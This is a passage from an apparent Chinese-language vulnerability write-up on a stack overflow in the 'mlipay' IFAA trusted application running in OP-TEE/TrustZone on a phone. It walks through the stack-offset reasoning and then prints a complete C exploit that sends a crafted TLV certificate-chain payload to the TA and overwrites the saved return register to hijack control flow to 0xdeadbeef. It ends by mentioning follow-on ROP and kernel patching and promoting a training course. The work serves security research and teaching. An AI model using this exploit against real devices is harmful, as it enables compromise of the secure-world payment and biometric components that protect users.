如果令输入的变长数据的长度均为0,则一轮循环的输入退化为最简格式:4个4字节数据,后3个必须为0,而一轮循环的输出还是覆盖栈上的0x38(7*8)个字节。因此第5轮首次应该覆盖到栈上保存的x29寄存器的低4个字节,而x30寄存器应该覆盖为不可控的内存地址。因此按照推算,控制流劫持到任意地址压根不成立,这显然与实际矛盾:
因为没有调试底层的能力,所以也不能通过调试器直接观察栈内存进行排错,因此还是只能继续逆向来寻找答案,那么关注点还要放到栈上。在ARM64函数调用的一般情况下,函数的栈在函数开头就抬好了,在整个当前函数的执行过程中,不会再次调整栈顶。也正是基于这个常见情况,我推测,漏洞函数sub_801F27C的while循环写的v29数组后面紧跟着的就是父函数栈上的x29和x30,但这与实际矛盾,因此可以推出:可能是父函数的栈变化了。寻找sub_801F27C的父函数,往上追踪其父级函数sub_801FA5C在调用sub_80243CC之前,确实在函数中间抬栈了 sub sp, sp, #0x30
:
因此漏洞函数sub_801F27C的v29数组结束后,距离父函数sub_801FA5C的栈上的x29寄存器还有0x30的偏移。而一轮循环解析可以覆盖0x38长度的数据,所以第5轮循环结束正好覆盖到父函数sub_801FA5C栈上保存的x29寄存器,因此第6轮的首4字节,可以覆盖到父函数sub_801FA5C栈上保存的x30(lr)寄存器的低四个字节,而目标OP-TEE的地址空间也只有32个bit,所以只覆盖x30的低四个字节也是正好,最后当sub_801FA5C函数返回时,任意地址的控制流劫持发生:
所以也是巧了,要是没有sub_801FA5C这个抬栈,任意地址的控制流劫持甚至都无法发生
令输入的变长数据的长度均为0,每轮循环的输入退化为最简的4个4字节数据,因此每轮的输入数据为16个字节,所以将第6轮首4个字节设置为0xdeadbeef,即可将控制流劫持到0xdeadbeef:
*(int *) (payload + 0x38) = 6; // number of cert !!!
*(int *) (payload + 0x3c + 16*5) = 0xdeadbeef;
完整exp如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <tee_client_api.h>
void debug(char * buf,int len){
for(int i=0;i<len;i++){
if((i%8==0) && (i!=0)) printf(" ");
if((i%16==0) && (i!=0)) printf("\n");
printf("%02X ",buf[i] & 0xff);
}
printf("\n");
}
int main(void){
TEEC_Context ctx ;
TEEC_Session sess;
TEEC_Operation op;
TEEC_UUID uuid = {0x66F1C983, 0x2444, 0x42B4,{0x8D, 0xB1, 0x32, 0xB2, 0x89, 0x48, 0x61, 0x76 }};
int r = 0;
r = TEEC_InitializeContext(NULL, &ctx);
r = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, NULL);
printf("[+] open mlipay : %d\n",r);
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE, TEEC_NONE);
char * payload = malloc(0x1000);
memset(payload,0,0x1000);
/* -------------------------------- sub_801EB58: mp_handler --------------------------------- */
*(int *) payload = 1; // 0x801EB94: if ( *buffer != 1 )
*(int *)(payload + 4) = 0x1000; // 0x801EBEC: v11 != 0x1000
/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */
*(int *)(payload + 8) = 0x200; // 0x80203F4: v109 = *(_DWORD *)(input + 8); size total
*(int *)(payload + 0xc) = 0; // size total padding
// sig_len; signature
*(int *)(payload + 0x10) = 4; // 0x801F198: size_data = read32(*data): size data
*(int *)(payload + 0x14) = 1; // 0x8020458: EXTRACT_DATA((__int64)v72, &v68, &v69); v72
// pkg_len; pkg_name
*(int *)(payload + 0x18) = 4; // 0x801F198: size_data = read32(*data): size data
*(int *)(payload + 0x1C) = 1; // 0x8020470: EXTRACT_DATA((__int64)v73, &v68, &v69); v73
// command
*(int *)(payload + 0x20) = 2; // 0x8020484: v12 = read32(v69)
// Param_len
*(int *)(payload + 0x24) = 0x100; // 0x80205E0: v11 = EXTRACT_DATA((__int64)&v83, &v68, &v69);
/* -------------------------------- sub_801FA5C: ifaa_tz_register --------------------------- */
/* -------------------------------- sub_80243CC: parse_request --------------------------- */
/* -------------------------------- sub_801F49C: --------------------------- */
/* -------------------------------- sub_801F27C: ifaa_in_validate_req_sig ------------------- */
// Params(TLV data)
*(uint16_t *)(payload + 0x28) = 1; // root_node
*(uint16_t *)(payload + 0x2a) = 0xf0; // size
*(uint16_t *)(payload + 0x2c) = 2; // node_regdata
*(uint16_t *)(payload + 0x2e) = 0xe0; // size
*(uint16_t *)(payload + 0x30) = 0x8007; // node_sig
*(uint16_t *)(payload + 0x32) = 0x0; // size
*(uint16_t *)(payload + 0x34) = 0x8006; // node_certchain
*(uint16_t *)(payload + 0x36) = 0xd0; // size
*(int *) (payload + 0x38) = 6; // number of cert !!!
*(int *) (payload + 0x3c + 16*5) = 0xdeadbeef;
op.params[0].tmpref.buffer = payload;
op.params[0].tmpref.size = 0x1000;
/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */
char * output = malloc(0x1000);
*(int *)(output + 4) = 0x10; // 0x80203F8: v6 = output[1]; if(v6 == 0) v8 = "Invalid param";
op.params[1].tmpref.buffer = output;
op.params[1].tmpref.size = 0x1000;
printf("[+] trigger bug !\n");
r = TEEC_InvokeCommand(&sess, 0, &op, NULL);
printf("[+] invoke mlipay : %d\n",r);
debug(op.params[0].tmpref.buffer,0x100);
printf("---------------------------\n");
debug(op.params[1].tmpref.buffer,0x100);
return 0;
}
编译上传运行,exp卡住手机重启后,查看tee日志可见成功控制流劫持到0xdeadbeef:
经过分析,如果要继续进行利用还是有些麻烦,因为这个栈溢出不是直接的memcpy,且还会有不可控的数据写入栈上,因此slipper的ROP利用中,是通过x19、x21、x23指向的可控内存才控制了更多的寄存器,而不是直接从栈上pop:
在没有调试器的情况下,x19、x21、x23指向的内存是可控数据这事,是咋看出来的呢?
后续的ROP以及Patch Linux Kernel的过程,也在我复刻的CTF赛题中有所体现,欢迎参加 OSR TrustZone Pwn 线下实践课程进行体验,最后让我们致敬slipper!